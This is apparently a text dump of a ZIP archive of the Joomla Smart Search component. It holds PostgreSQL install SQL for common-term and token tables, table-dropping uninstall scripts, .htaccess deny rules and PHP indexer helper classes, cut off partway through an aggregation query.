WHERE "term"='why'); -- UPDATE "#__finder_terms_common" SET ("term", "language") = ('wide', 'en') WHERE "term"='wide'; INSERT INTO "#__finder_terms_common" ("term", "language") SELECT 'wide', 'en' WHERE 1 NOT IN (SELECT 1 FROM "#__finder_terms_common" WHERE "term"='wide'); -- UPDATE "#__finder_terms_common" SET ("term", "language") = ('will', 'en') WHERE "term"='will'; INSERT INTO "#__finder_terms_common" ("term", "language") SELECT 'will', 'en' WHERE 1 NOT IN (SELECT 1 FROM "#__finder_terms_common" WHERE "term"='will'); -- UPDATE "#__finder_terms_common" SET ("term", "language") = ('with', 'en') WHERE "term"='with'; INSERT INTO "#__finder_terms_common" ("term", "language") SELECT 'with', 'en' WHERE 1 NOT IN (SELECT 1 FROM "#__finder_terms_common" WHERE "term"='with'); -- UPDATE "#__finder_terms_common" SET ("term", "language") = ('within', 'en') WHERE "term"='within'; INSERT INTO "#__finder_terms_common" ("term", "language") SELECT 'within', 'en' WHERE 1 NOT IN (SELECT 1 FROM "#__finder_terms_common" WHERE "term"='within'); -- UPDATE "#__finder_terms_common" SET ("term", "language") = ('without', 'en') WHERE "term"='without'; INSERT INTO "#__finder_terms_common" ("term", "language") SELECT 'without', 'en' WHERE 1 NOT IN (SELECT 1 FROM "#__finder_terms_common" WHERE "term"='without'); -- UPDATE "#__finder_terms_common" SET ("term", "language") = ('would', 'en') WHERE "term"='would'; INSERT INTO "#__finder_terms_common" ("term", "language") SELECT 'would', 'en' WHERE 1 NOT IN (SELECT 1 FROM "#__finder_terms_common" WHERE "term"='would'); -- UPDATE "#__finder_terms_common" SET ("term", "language") = ('yes', 'en') WHERE "term"='yes'; INSERT INTO "#__finder_terms_common" ("term", "language") SELECT 'yes', 'en' WHERE 1 NOT IN (SELECT 1 FROM "#__finder_terms_common" WHERE "term"='yes'); -- UPDATE "#__finder_terms_common" SET ("term", "language") = ('yet', 'en') WHERE "term"='yet'; INSERT INTO "#__finder_terms_common" ("term", "language") SELECT 'yet', 'en' WHERE 1 NOT IN (SELECT 1 FROM "#__finder_terms_common" WHERE "term"='yet'); -- UPDATE "#__finder_terms_common" SET ("term", "language") = ('you', 'en') WHERE "term"='you'; INSERT INTO "#__finder_terms_common" ("term", "language") SELECT 'you', 'en' WHERE 1 NOT IN (SELECT 1 FROM "#__finder_terms_common" WHERE "term"='you'); -- UPDATE "#__finder_terms_common" SET ("term", "language") = ('your', 'en') WHERE "term"='your'; INSERT INTO "#__finder_terms_common" ("term", "language") SELECT 'your', 'en' WHERE 1 NOT IN (SELECT 1 FROM "#__finder_terms_common" WHERE "term"='your'); -- UPDATE "#__finder_terms_common" SET ("term", "language") = ('yours', 'en') WHERE "term"='yours'; INSERT INTO "#__finder_terms_common" ("term", "language") SELECT 'yours', 'en' WHERE 1 NOT IN (SELECT 1 FROM "#__finder_terms_common" WHERE "term"='yours'); -- -- Table: #__finder_tokens -- CREATE TABLE "#__finder_tokens" ( "term" character varying(75) NOT NULL, "stem" character varying(75) NOT NULL, "common" smallint DEFAULT 0 NOT NULL, "phrase" smallint DEFAULT 0 NOT NULL, "weight" numeric(8,2) DEFAULT 1 NOT NULL, "context" smallint DEFAULT 2 NOT NULL ); CREATE INDEX "#__finder_tokens_idx_word" on "#__finder_tokens" ("term"); CREATE INDEX "#__finder_tokens_idx_context" on "#__finder_tokens" ("context"); -- -- Table: #__finder_tokens_aggregate -- CREATE TABLE "#__finder_tokens_aggregate" ( "term_id" integer NOT NULL, "map_suffix" character(1) NOT NULL, "term" character varying(75) NOT NULL, "stem" character varying(75) NOT NULL, "common" smallint DEFAULT 0 NOT NULL, "phrase" smallint DEFAULT 0 NOT NULL, "term_weight" numeric(8,2) NOT NULL, "context" smallint DEFAULT 2 NOT NULL, "context_weight" numeric(8,2) NOT NULL, "total_weight" numeric(8,2) NOT NULL ); CREATE INDEX "#__finder_tokens_aggregate_token" on "#__finder_tokens_aggregate" ("term"); CREATE INDEX "_#__finder_tokens_aggregate_keyword_id" on "#__finder_tokens_aggregate" ("term_id"); -- -- Table: #__finder_types -- CREATE TABLE "#__finder_types" ( "id" serial NOT NULL, "title" character varying(100) NOT NULL, "mime" character varying(100) NOT NULL, PRIMARY KEY ("id"), CONSTRAINT "#__finder_types_title" UNIQUE ("title") ); PK@y>\1iww-components/com_finder/sql/uninstall.mysql.sqlnuW+ADROP TABLE IF EXISTS `#__finder_filters`; DROP TABLE IF EXISTS `#__finder_links`; DROP TABLE IF EXISTS `#__finder_links_terms0`; DROP TABLE IF EXISTS `#__finder_links_terms1`; DROP TABLE IF EXISTS `#__finder_links_terms2`; DROP TABLE IF EXISTS `#__finder_links_terms3`; DROP TABLE IF EXISTS `#__finder_links_terms4`; DROP TABLE IF EXISTS `#__finder_links_terms5`; DROP TABLE IF EXISTS `#__finder_links_terms6`; DROP TABLE IF EXISTS `#__finder_links_terms7`; DROP TABLE IF EXISTS `#__finder_links_terms8`; DROP TABLE IF EXISTS `#__finder_links_terms9`; DROP TABLE IF EXISTS `#__finder_links_termsa`; DROP TABLE IF EXISTS `#__finder_links_termsb`; DROP TABLE IF EXISTS `#__finder_links_termsc`; DROP TABLE IF EXISTS `#__finder_links_termsd`; DROP TABLE IF EXISTS `#__finder_links_termse`; DROP TABLE IF EXISTS `#__finder_links_termsf`; DROP TABLE IF EXISTS `#__finder_taxonomy`; DROP TABLE IF EXISTS `#__finder_taxonomy_map`; DROP TABLE IF EXISTS `#__finder_terms`; DROP TABLE IF EXISTS `#__finder_terms_common`; DROP TABLE IF EXISTS `#__finder_tokens`; DROP TABLE IF EXISTS `#__finder_tokens_aggregate`; DROP TABLE IF EXISTS `#__finder_types`; PK@y>\|ww2components/com_finder/sql/uninstall.postgresql.sqlnuW+ADROP TABLE IF EXISTS "#__finder_filters"; DROP TABLE IF EXISTS "#__finder_links"; DROP TABLE IF EXISTS "#__finder_links_terms0"; DROP TABLE IF EXISTS "#__finder_links_terms1"; DROP TABLE IF EXISTS "#__finder_links_terms2"; DROP TABLE IF EXISTS "#__finder_links_terms3"; DROP TABLE IF EXISTS "#__finder_links_terms4"; DROP TABLE IF EXISTS "#__finder_links_terms5"; DROP TABLE IF EXISTS "#__finder_links_terms6"; DROP TABLE IF EXISTS "#__finder_links_terms7"; DROP TABLE IF EXISTS "#__finder_links_terms8"; DROP TABLE IF EXISTS "#__finder_links_terms9"; DROP TABLE IF EXISTS "#__finder_links_termsa"; DROP TABLE IF EXISTS "#__finder_links_termsb"; DROP TABLE IF EXISTS "#__finder_links_termsc"; DROP TABLE IF EXISTS "#__finder_links_termsd"; DROP TABLE IF EXISTS "#__finder_links_termse"; DROP TABLE IF EXISTS "#__finder_links_termsf"; DROP TABLE IF EXISTS "#__finder_taxonomy"; DROP TABLE IF EXISTS "#__finder_taxonomy_map"; DROP TABLE IF EXISTS "#__finder_terms"; DROP TABLE IF EXISTS "#__finder_terms_common"; DROP TABLE IF EXISTS "#__finder_tokens"; DROP TABLE IF EXISTS "#__finder_tokens_aggregate"; DROP TABLE IF EXISTS "#__finder_types"; PK@y>\6 components/com_finder/index.htmlnuW+APK@y>\)'components/com_finder/helpers/.htaccessnuW+A Order allow,deny Deny from all PK@y>\6(components/com_finder/helpers/index.htmlnuW+APK@y>\/ *components/com_finder/helpers/language.phpnuW+Aload('com_finder', JPATH_SITE); } /** * Method to load Smart Search plug-in language files. * * @return void * * @since 2.5 */ public static function loadPluginLanguage() { static $loaded = false; // If already loaded, don't load again. if ($loaded) { return; } $loaded = true; // Get array of all the enabled Smart Search plug-in names. $db = JFactory::getDbo(); $query = $db->getQuery(true); $query->select('name'); $query->from($db->quoteName('#__extensions')); $query->where($db->quoteName('type') . ' = ' . $db->quote('plugin')); $query->where($db->quoteName('folder') . ' = ' . $db->quote('finder')); $query->where($db->quoteName('enabled') . ' = 1'); $db->setQuery($query); $plugins = $db->loadObjectList(); if (empty($plugins)) { return; } // Load generic language strings. $lang = JFactory::getLanguage(); $lang->load('plg_content_finder', JPATH_ADMINISTRATOR); // Load language file for each plug-in. foreach ($plugins as $plugin) { $lang->load($plugin->name, JPATH_ADMINISTRATOR); } } } PK@y>\eâ770components/com_finder/helpers/indexer/helper.phpnuW+Aparse($input); } /** * Method to tokenize a text string. * * @param string $input The input to tokenize. * @param string $lang The language of the input. * @param boolean $phrase Flag to indicate whether input could be a phrase. [optional] * * @return array An array of FinderIndexerToken objects. * * @since 2.5 */ public static function tokenize($input, $lang, $phrase = false) { static $cache; $store = JString::strlen($input) < 128 ? md5($input . '::' . $lang . '::' . $phrase) : null; // Check if the string has been tokenized already. if ($store && isset($cache[$store])) { return $cache[$store]; } $tokens = array(); $terms = array(); $quotes = html_entity_decode('‘’'', ENT_QUOTES, 'UTF-8'); // Get the simple language key. $lang = FinderIndexerHelper::getPrimaryLanguage($lang); /* * Parsing the string input into terms is a multi-step process. * * Regexes: * 1. Remove everything except letters, numbers, quotes, apostrophe, plus, dash, period, and comma. * 2. Remove plus, dash, period, and comma characters located before letter characters. * 3. Remove plus, dash, period, and comma characters located after other characters. * 4. Remove plus, period, and comma characters enclosed in alphabetical characters. Ungreedy. * 5. Remove orphaned apostrophe, plus, dash, period, and comma characters. * 6. Remove orphaned quote characters. * 7. Replace the assorted single quotation marks with the ASCII standard single quotation. * 8. Remove multiple space characters and replaces with a single space. */ $input = JString::strtolower($input); $input = preg_replace('#[^\pL\pM\pN\p{Pi}\p{Pf}\'+-.,]+#mui', ' ', $input); $input = preg_replace('#(^|\s)[+-.,]+([\pL\pM]+)#mui', ' $1', $input); $input = preg_replace('#([\pL\pM\pN]+)[+-.,]+(\s|$)#mui', '$1 ', $input); $input = preg_replace('#([\pL\pM]+)[+.,]+([\pL\pM]+)#muiU', '$1 $2', $input); // Ungreedy $input = preg_replace('#(^|\s)[\'+-.,]+(\s|$)#mui', ' ', $input); $input = preg_replace('#(^|\s)[\p{Pi}\p{Pf}]+(\s|$)#mui', ' ', $input); $input = preg_replace('#[' . $quotes . ']+#mui', '\'', $input); $input = preg_replace('#\s+#mui', ' ', $input); $input = JString::trim($input); // Explode the normalized string to get the terms. $terms = explode(' ', $input); /* * If we have Unicode support and are dealing with Chinese text, Chinese * has to be handled specially because there are not necessarily any spaces * between the "words". So, we have to test if the words belong to the Chinese * character set and if so, explode them into single glyphs or "words". */ if ($lang === 'zh') { // Iterate through the terms and test if they contain Chinese. for ($i = 0, $n = count($terms); $i < $n; $i++) { $charMatches = array(); $charCount = preg_match_all('#[\p{Han}]#mui', $terms[$i], $charMatches); // Split apart any groups of Chinese characters. for ($j = 0; $j < $charCount; $j++) { $tSplit = JString::str_ireplace($charMatches[0][$j], '', $terms[$i], false); if (!empty($tSplit)) { $terms[$i] = $tSplit; } else { unset($terms[$i]); } $terms[] = $charMatches[0][$j]; } } // Reset array keys. $terms = array_values($terms); } /* * If we have to handle the input as a phrase, that means we don't * tokenize the individual terms and we do not create the two and three * term combinations. The phrase must contain more than one word! */ if ($phrase === true && count($terms) > 1) { // Create tokens from the phrase. $tokens[] = new FinderIndexerToken($terms, $lang); } else { // Create tokens from the terms. for ($i = 0, $n = count($terms); $i < $n; $i++) { $tokens[] = new FinderIndexerToken($terms[$i], $lang); } // Create two and three word phrase tokens from the individual words. for ($i = 0, $n = count($tokens); $i < $n; $i++) { // Setup the phrase positions. $i2 = $i + 1; $i3 = $i + 2; // Create the two word phrase. if ($i2 < $n && isset($tokens[$i2])) { // Tokenize the two word phrase. $token = new FinderIndexerToken(array($tokens[$i]->term, $tokens[$i2]->term), $lang, $lang === 'zh' ? '' : ' '); $token->derived = true; // Add the token to the stack. $tokens[] = $token; } // Create the three word phrase. if ($i3 < $n && isset($tokens[$i3])) { // Tokenize the three word phrase. $token = new FinderIndexerToken(array($tokens[$i]->term, $tokens[$i2]->term, $tokens[$i3]->term), $lang, $lang === 'zh' ? '' : ' '); $token->derived = true; // Add the token to the stack. $tokens[] = $token; } } } if ($store) { $cache[$store] = count($tokens) > 1 ? $tokens : array_shift($tokens); return $cache[$store]; } else { return count($tokens) > 1 ? $tokens : array_shift($tokens); } } /** * Method to get the base word of a token. This method uses the public * {@link FinderIndexerHelper::$stemmer} object if it is set. If no stemmer is set, * the original token is returned. * * @param string $token The token to stem. * @param string $lang The language of the token. * * @return string The root token. * * @since 2.5 */ public static function stem($token, $lang) { // Trim apostrophes at either end of the token. $token = JString::trim($token, '\''); // Trim everything after any apostrophe in the token. if (($pos = JString::strpos($token, '\'')) !== false) { $token = JString::substr($token, 0, $pos); } // Stem the token if we have a valid stemmer to use. if (self::$stemmer instanceof FinderIndexerStemmer) { return self::$stemmer->stem($token, $lang); } else { return $token; } } /** * Method to add a content type to the database. * * @param string $title The type of content. For example: PDF * @param string $mime The mime type of the content. For example: PDF [optional] * * @return integer The id of the content type. * * @since 2.5 * @throws Exception on database error. */ public static function addContentType($title, $mime = null) { static $types; $db = JFactory::getDBO(); $query = $db->getQuery(true); // Check if the types are loaded. if (empty($types)) { // Build the query to get the types. $query->select('*'); $query->from($db->quoteName('#__finder_types')); // Get the types. $db->setQuery($query); $types = $db->loadObjectList('title'); // Check for a database error. if ($db->getErrorNum()) { // Throw database error exception. throw new Exception($db->getErrorMsg(), 500); } } // Check if the type already exists. if (isset($types[$title])) { return (int) $types[$title]->id; } // Add the type. $query->clear(); $query->insert($db->quoteName('#__finder_types')); $query->columns(array($db->quoteName('title'), $db->quoteName('mime'))); $query->values($db->quote($title) . ', ' . $db->quote($mime)); $db->setQuery($query); $db->query(); // Check for a database error. if ($db->getErrorNum()) { // Throw database error exception. throw new Exception($db->getErrorMsg(), 500); } // Return the new id. return (int) $db->insertid(); } /** * Method to check if a token is common in a language. * * @param string $token The token to test. * @param string $lang The language to reference. * * @return boolean True if common, false otherwise. * * @since 2.5 */ public static function isCommon($token, $lang) { static $data; // Load the common tokens for the language if necessary. if (!isset($data[$lang])) { $data[$lang] = FinderIndexerHelper::getCommonWords($lang); } // Check if the token is in the common array. if (in_array($token, $data[$lang])) { return true; } else { return false; } } /** * Method to get an array of common terms for a language. * * @param string $lang The language to use. * * @return array Array of common terms. * * @since 2.5 * @throws Exception on database error. */ public static function getCommonWords($lang) { $db = JFactory::getDBO(); // Create the query to load all the common terms for the language. $query = $db->getQuery(true); $query->select($db->quoteName('term')); $query->from($db->quoteName('#__finder_terms_common')); $query->where($db->quoteName('language') . ' = ' . $db->quote($lang)); // Load all of the common terms for the language. $db->setQuery($query); $results = $db->loadColumn(); // Check for a database error. if ($db->getErrorNum()) { // Throw database error exception. throw new Exception($db->getErrorMsg(), 500); } return $results; } /** * Method to get the default language for the site. * * @return string The default language string. * * @since 2.5 */ public static function getDefaultLanguage() { static $lang; // Get the default language. if (empty($lang)) { $lang = JComponentHelper::getParams('com_languages')->get('site', 'en-GB'); } return $lang; } /** * Method to parse a language/locale key and return a simple language string. * * @param string $lang The language/locale key. For example: en-GB * * @return string The simple language string. For example: en * * @since 2.5 */ public static function getPrimaryLanguage($lang) { static $data; // Only parse the identifier if necessary. if (!isset($data[$lang])) { if (is_callable(array('Locale', 'getPrimaryLanguage'))) { // Get the language key using the Locale package. $data[$lang] = Locale::getPrimaryLanguage($lang); } else { // Get the language key using string position. $data[$lang] = JString::substr($lang, 0, JString::strpos($lang, '-')); } } return $data[$lang]; } /** * Method to get the path (SEF route) for a content item. * * @param string $url The non-SEF route to the content item. * * @return string The path for the content item. * * @since 2.5 */ public static function getContentPath($url) { static $router; // Only get the router once. if (!($router instanceof JRouter)) { jimport('joomla.application.router'); include_once JPATH_SITE . '/includes/application.php'; // Get and configure the site router. $config = JFactory::getConfig(); $router = JRouter::getInstance('site'); $router->setMode($config->get('sef', 1)); } // Build the relative route. $uri = $router->build($url); $route = $uri->toString(array('path', 'query', 'fragment')); $route = str_replace(JURI::base(true) . '/', '', $route); return $route; } /** * Method to get extra data for a content before being indexed. This is how * we add Comments, Tags, Labels, etc. that should be available to Finder. * * @param FinderIndexerResult &$item The item to index as an FinderIndexerResult object. * * @return boolean True on success, false on failure. * * @since 2.5 * @throws Exception on database error. */ public static function getContentExtras(FinderIndexerResult &$item) { // Get the event dispatcher. $dispatcher = JDispatcher::getInstance(); // Load the finder plugin group. JPluginHelper::importPlugin('finder'); try { // Trigger the event. $results = $dispatcher->trigger('onPrepareFinderContent', array(&$item)); // Check the returned results. This is for plugins that don't throw // exceptions when they encounter serious errors. if (in_array(false, $results)) { throw new Exception($dispatcher->getError(), 500); } } catch (Exception $e) { // Handle a caught exception. throw $e; } return true; } /** * Method to process content text using the onContentPrepare event trigger. * * @param string $text The content to process. * @param JRegistry $params The parameters object. [optional] * * @return string The processed content. * * @since 2.5 */ public static function prepareContent($text, $params = null) { static $loaded; // Get the dispatcher. $dispatcher = JDispatcher::getInstance(); // Load the content plugins if necessary. if (empty($loaded)) { JPluginHelper::importPlugin('content'); $loaded = true; } // Instantiate the parameter object if necessary. if (!($params instanceof JRegistry)) { $registry = new JRegistry; $registry->loadString($params); $params = $registry; } // Create a mock content object. $content = JTable::getInstance('Content'); $content->text = $text; // Fire the onContentPrepare event. $dispatcher->trigger('onContentPrepare', array('com_finder.indexer', &$content, &$params, 0)); return $content->text; } } PK@y>\60components/com_finder/helpers/indexer/index.htmlnuW+APK@y>\)/components/com_finder/helpers/indexer/.htaccessnuW+A Order allow,deny Deny from all PK@y>\}lW W 0components/com_finder/helpers/indexer/parser.phpnuW+Aclean($format, 'cmd'); $path = dirname(__FILE__) . '/parser/' . $format . '.php'; $class = 'FinderIndexerParser' . ucfirst($format); // Check if a parser exists for the format. if (file_exists($path)) { // Instantiate the parser. include_once $path; $instances[$format] = new $class; } else { // Throw invalid format exception. throw new Exception(JText::sprintf('COM_FINDER_INDEXER_INVALID_PARSER', $format)); } return $instances[$format]; } /** * Method to parse input and extract the plain text. Because this method is * called from both inside and outside the indexer, it needs to be able to * batch out its parsing functionality to deal with the inefficiencies of * regular expressions. We will parse recursively in 2KB chunks. * * @param string $input The input to parse. * * @return string The plain text input. * * @since 2.5 */ public function parse($input) { $return = null; // Parse the input in batches if bigger than 2KB. if (strlen($input) > 2048) { $start = 0; $end = strlen($input); $chunk = 2048; while ($start < $end) { // Setup the string. $string = substr($input, $start, $chunk); // Find the last space character if we aren't at the end. $ls = (($start + $chunk) < $end ? strrpos($string, ' ') : false); // Truncate to the last space character. if ($ls !== false) { $string = substr($string, 0, $ls); } // Adjust the start position for the next iteration. $start += ($ls !== false ? ($ls + 1 - $chunk) + $chunk : $chunk); // Parse the chunk. $return .= $this->process($string); } } // The input is less than 2KB so we can parse it efficiently. else { // Parse the chunk. $return .= $this->process($input); } return $return; } /** * Method to process input and extract the plain text. * * @param string $input The input to process. * * @return string The plain text input. * * @since 2.5 */ abstract protected function process($input); } PK@y>\>YY1components/com_finder/helpers/indexer/indexer.phpnuW+Aget('_finder.state', null); // If the state is empty, load the values for the first time. if (empty($data)) { $data = new JObject; // Load the default configuration options. $data->options = JComponentHelper::getParams('com_finder'); // Setup the weight lookup information. $data->weights = array( self::TITLE_CONTEXT => round($data->options->get('title_multiplier', 1.7), 2), self::TEXT_CONTEXT => round($data->options->get('text_multiplier', 0.7), 2), self::META_CONTEXT => round($data->options->get('meta_multiplier', 1.2), 2), self::PATH_CONTEXT => round($data->options->get('path_multiplier', 2.0), 2), self::MISC_CONTEXT => round($data->options->get('misc_multiplier', 0.3), 2) ); // Set the current time as the start time. $data->startTime = JFactory::getDate()->toSQL(); // Set the remaining default values. $data->batchSize = (int) $data->options->get('batch_size', 50); $data->batchOffset = 0; $data->totalItems = 0; $data->pluginState = array(); } // Setup the profiler if debugging is enabled. if (JFactory::getApplication()->getCfg('debug')) { jimport('joomla.error.profiler'); self::$profiler = JProfiler::getInstance('FinderIndexer'); } // Setup the stemmer. if ($data->options->get('stem', 1) && $data->options->get('stemmer', 'porter_en')) { FinderIndexerHelper::$stemmer = FinderIndexerStemmer::getInstance($data->options->get('stemmer', 'porter_en')); } // Set the state. self::$state = $data; return self::$state; } /** * Method to set the indexer state. * * @param object $data A new indexer state object. * * @return boolean True on success, false on failure. * * @since 2.5 */ public static function setState($data) { // Check the state object. if (empty($data) || !$data instanceof JObject) { return false; } // Set the new internal state. self::$state = $data; // Set the new session state. $session = JFactory::getSession(); $session->set('_finder.state', $data); return true; } /** * Method to reset the indexer state. * * @return void * * @since 2.5 */ public static function resetState() { // Reset the internal state to null. self::$state = null; // Reset the session state to null. $session = JFactory::getSession(); $session->set('_finder.state', null); } /** * Method to index a content item. * * @param FinderIndexerResult $item The content item to index. * @param string $format The format of the content. [optional] * * @return integer The ID of the record in the links table. * * @since 2.5 * @throws Exception on database error. */ public static function index($item, $format = 'html') { // Mark beforeIndexing in the profiler. self::$profiler ? self::$profiler->mark('beforeIndexing') : null; $db = JFactory::getDBO(); $nd = $db->getNullDate(); // Check if the item is in the database. $query = $db->getQuery(true); $query->select($db->quoteName('link_id') . ', ' . $db->quoteName('md5sum')); $query->from($db->quoteName('#__finder_links')); $query->where($db->quoteName('url') . ' = ' . $db->quote($item->url)); // Load the item from the database. $db->setQuery($query); $link = $db->loadObject(); // Check for a database error. if ($db->getErrorNum()) { // Throw database error exception. throw new Exception($db->getErrorMsg(), 500); } // Get the indexer state. $state = FinderIndexer::getState(); // Get the signatures of the item. $curSig = self::getSignature($item); $oldSig = isset($link->md5sum) ? $link->md5sum : null; // Get the other item information. $linkId = empty($link->link_id) ? null : $link->link_id; $isNew = empty($link->link_id) ? true : false; // Check the signatures. If they match, the item is up to date. if (!$isNew && $curSig == $oldSig) { return $linkId; } /* * If the link already exists, flush all the term maps for the item. * Maps are stored in 16 tables so we need to iterate through and flush * each table one at a time. */ if (!$isNew) { for ($i = 0; $i <= 15; $i++) { // Flush the maps for the link. $query->clear(); $query->delete(); $query->from($db->quoteName('#__finder_links_terms' . dechex($i))); $query->where($db->quoteName('link_id') . ' = ' . (int) $linkId); $db->setQuery($query); $db->query(); // Check for a database error. if ($db->getErrorNum()) { // Throw database error exception. throw new Exception($db->getErrorMsg(), 500); } } // Remove the taxonomy maps. FinderIndexerTaxonomy::removeMaps($linkId); } // Mark afterUnmapping in the profiler. self::$profiler ? self::$profiler->mark('afterUnmapping') : null; // Perform cleanup on the item data. $item->publish_start_date = intval($item->publish_start_date) != 0 ? $item->publish_start_date : $nd; $item->publish_end_date = intval($item->publish_end_date) != 0 ? $item->publish_end_date : $nd; $item->start_date = intval($item->start_date) != 0 ? $item->start_date : $nd; $item->end_date = intval($item->end_date) != 0 ? $item->end_date : $nd; // Prepare the item description. $item->description = FinderIndexerHelper::parse($item->summary); /* * Now, we need to enter the item into the links table. If the item * already exists in the database, we need to use an UPDATE query. * Otherwise, we need to use an INSERT to get the link id back. */ if ($isNew) { $columnsArray = array( $db->quoteName('url'), $db->quoteName('route'), $db->quoteName('title'), $db->quoteName('description'), $db->quoteName('indexdate'), $db->quoteName('published'), $db->quoteName('state'), $db->quoteName('access'), $db->quoteName('language'), $db->quoteName('type_id'), $db->quoteName('object'), $db->quoteName('publish_start_date'), $db->quoteName('publish_end_date'), $db->quoteName('start_date'), $db->quoteName('end_date'), $db->quoteName('list_price'), $db->quoteName('sale_price') ); // Insert the link. $query->clear(); $query->insert($db->quoteName('#__finder_links')); $query->columns($columnsArray); $query->values( $db->quote($item->url) . ', ' . $db->quote($item->route) . ', ' . $db->quote($item->title) . ', ' . $db->quote($item->description) . ', ' . $query->currentTimestamp() . ', ' . '1, ' . (int) $item->state . ', ' . (int) $item->access . ', ' . $db->quote($item->language) . ', ' . (int) $item->type_id . ', ' . $db->quote(serialize($item)) . ', ' . $db->quote($item->publish_start_date) . ', ' . $db->quote($item->publish_end_date) . ', ' . $db->quote($item->start_date) . ', ' . $db->quote($item->end_date) . ', ' . $db->quote($item->list_price) . ', ' . $db->quote($item->sale_price) ); $db->setQuery($query); $db->query(); // Check for a database error. if ($db->getErrorNum()) { // Throw database error exception. throw new Exception($db->getErrorMsg(), 500); } // Get the link id. $linkId = (int) $db->insertid(); } else { // Update the link. //@TODO: Implement this $query->clear(); $query->update($db->qn('#__finder_links')); $query->set($db->qn('route') . ' = ' . $db->quote($item->route)); $query->set($db->qn('title') . ' = ' . $db->quote($item->title)); $query->set($db->qn('description') . ' = ' . $db->quote($item->description)); $query->set($db->qn('indexdate') . ' = ' . $query->currentTimestamp()); $query->set($db->qn('state') . ' = ' . (int) $item->state); $query->set($db->qn('access') . ' = ' . (int) $item->access); $query->set($db->qn('language') . ' = ' . $db->quote($item->language)); $query->set($db->qn('type_id') . ' = ' . (int) $item->type_id); $query->set($db->qn('object') . ' = ' . $db->quote(serialize($item))); $query->set($db->qn('publish_start_date') . ' = ' . $db->quote($item->publish_start_date)); $query->set($db->qn('publish_end_date') . ' = ' . $db->quote($item->publish_end_date)); $query->set($db->qn('start_date') . ' = ' . $db->quote($item->start_date)); $query->set($db->qn('end_date') . ' = ' . $db->quote($item->end_date)); $query->set($db->qn('list_price') . ' = ' . $db->quote($item->list_price)); $query->set($db->qn('sale_price') . ' = ' . $db->quote($item->sale_price)); $query->where('link_id = ' . (int) $linkId); $db->setQuery($query); $db->query(); // Check for a database error. if ($db->getErrorNum()) { // Throw database error exception. throw new Exception($db->getErrorMsg(), 500); } } // Set up the variables we will need during processing. $tokens = array(); $count = 0; // Mark afterLinking in the profiler. self::$profiler ? self::$profiler->mark('afterLinking') : null; // Truncate the tokens tables. $db->truncateTable('#__finder_tokens'); // Check for a database error. if ($db->getErrorNum()) { // Throw database error exception. throw new Exception($db->getErrorMsg(), 500); } // Truncate the tokens aggregate table. $db->truncateTable('#__finder_tokens_aggregate'); // Check for a database error. if ($db->getErrorNum()) { // Throw database error exception. throw new Exception($db->getErrorMsg(), 500); } /* * Process the item's content. The items can customize their * processing instructions to define extra properties to process * or rearrange how properties are weighted. */ foreach ($item->getInstructions() as $group => $properties) { // Iterate through the properties of the group. foreach ($properties as $property) { // Check if the property exists in the item. if (empty($item->$property)) { continue; } // Tokenize the property. if (is_array($item->$property)) { // Tokenize an array of content and add it to the database. foreach ($item->$property as $ip) { // If the group is path, we need to a few extra processing // steps to strip the extension and convert slashes and dashes // to spaces. if ($group === self::PATH_CONTEXT) { $ip = JFile::stripExt($ip); $ip = str_replace('/', ' ', $ip); $ip = str_replace('-', ' ', $ip); } // Tokenize a string of content and add it to the database. $count += FinderIndexer::tokenizeToDB($ip, $group, $item->language, $format); // Check if we're approaching the memory limit of the token table. if ($count > self::$state->options->get('memory_table_limit', 30000)) { FinderIndexer::toggleTables(false); } } } else { // If the group is path, we need to a few extra processing // steps to strip the extension and convert slashes and dashes // to spaces. if ($group === self::PATH_CONTEXT) { $item->$property = JFile::stripExt($item->$property); $item->$property = str_replace('/', ' ', $item->$property); $item->$property = str_replace('-', ' ', $item->$property); } // Tokenize a string of content and add it to the database. $count += FinderIndexer::tokenizeToDB($item->$property, $group, $item->language, $format); // Check if we're approaching the memory limit of the token table. if ($count > self::$state->options->get('memory_table_limit', 30000)) { FinderIndexer::toggleTables(false); } } } } /* * Process the item's taxonomy. The items can customize their * taxonomy mappings to define extra properties to map. */ foreach ($item->getTaxonomy() as $branch => $nodes) { // Iterate through the nodes and map them to the branch. foreach ($nodes as $node) { // Add the node to the tree. $nodeId = FinderIndexerTaxonomy::addNode($branch, $node->title, $node->state, $node->access); // Add the link => node map. FinderIndexerTaxonomy::addMap($linkId, $nodeId); // Tokenize the node title and add them to the database. $count += FinderIndexer::tokenizeToDB($node->title, self::META_CONTEXT, $item->language, $format); } } // Mark afterProcessing in the profiler. self::$profiler ? self::$profiler->mark('afterProcessing') : null; /* * At this point, all of the item's content has been parsed, tokenized * and inserted into the #__finder_tokens table. Now, we need to * aggregate all the data into that table into a more usable form. The * aggregated data will be inserted into #__finder_tokens_aggregate * table. */ $query = 'INSERT INTO ' . $db->quoteName('#__finder_tokens_aggregate') . ' (' . $db->quoteName('term_id') . ', ' . $db->quoteName('term') . ', ' . $db->quoteName('stem') . ', ' . $db->quoteName('common') . ', ' . $db->quoteName('phrase') . ', ' . $db->quoteName('term_weight') . ', ' . $db->quoteName('context') . ', ' . $db->quoteName('context_weight') . ')' . ' SELECT' . ' t.term_id, t1.term, t1.stem, t1.common, t1.phrase, t1.weight, t1.context,' . ' ROUND( t1.weight * COUNT( t2.term ) * %F, 8 ) AS context_weight' . ' FROM (' . ' SELECT DISTINCT t1.term, t1.stem, t1.common, t1.phrase, t1.weight, t1.context' . ' FROM ' . $db->quoteName('#__finder_tokens') . ' AS t1' . ' WHERE t1.context = %d' . ' ) AS t1' . ' JOIN ' . $db->quoteName('#__finder_tokens') . ' AS t2 ON t2.term = t1.term' . ' LEFT JOIN ' . $db->quoteName('#__finder_terms') . ' AS t ON t.term = t1.term' . ' WHERE t2.context = %d' . ' GROUP BY t1.term' . ' ORDER BY t1.term DESC'; // Iterate through the contexts and aggregate the tokens per context. foreach ($state->weights as $context => $multiplier) { // Run the query to aggregate the tokens for this context.. $db->setQuery(sprintf($query, $multiplier, $context, $context)); $db->query(); // Check for a database error. if ($db->getErrorNum()) { // Throw database error exception. throw new Exception($db->getErrorMsg(), 500); } } // Mark afterAggregating in the profiler. self::$profiler ? self::$profiler->mark('afterAggregating') : null; /* * When we pulled down all of the aggregate data, we did a LEFT JOIN * over the terms table to try to find all the term ids that * already exist for our tokens. If any of the rows in the aggregate * table have a term of 0, then no term record exists for that * term so we need to add it to the terms table. */ //@TODO: PostgreSQL doesn't support SOUNDEX out of the box /* This edit is causing the indexer to fail. $queryInsIgn = 'INSERT INTO ' . $db->quoteName('#__finder_terms') . ' (' . $db->quoteName('term') . ', ' . $db->quoteName('stem') . ', ' . $db->quoteName('common') . ', ' . $db->quoteName('phrase') . ', ' . 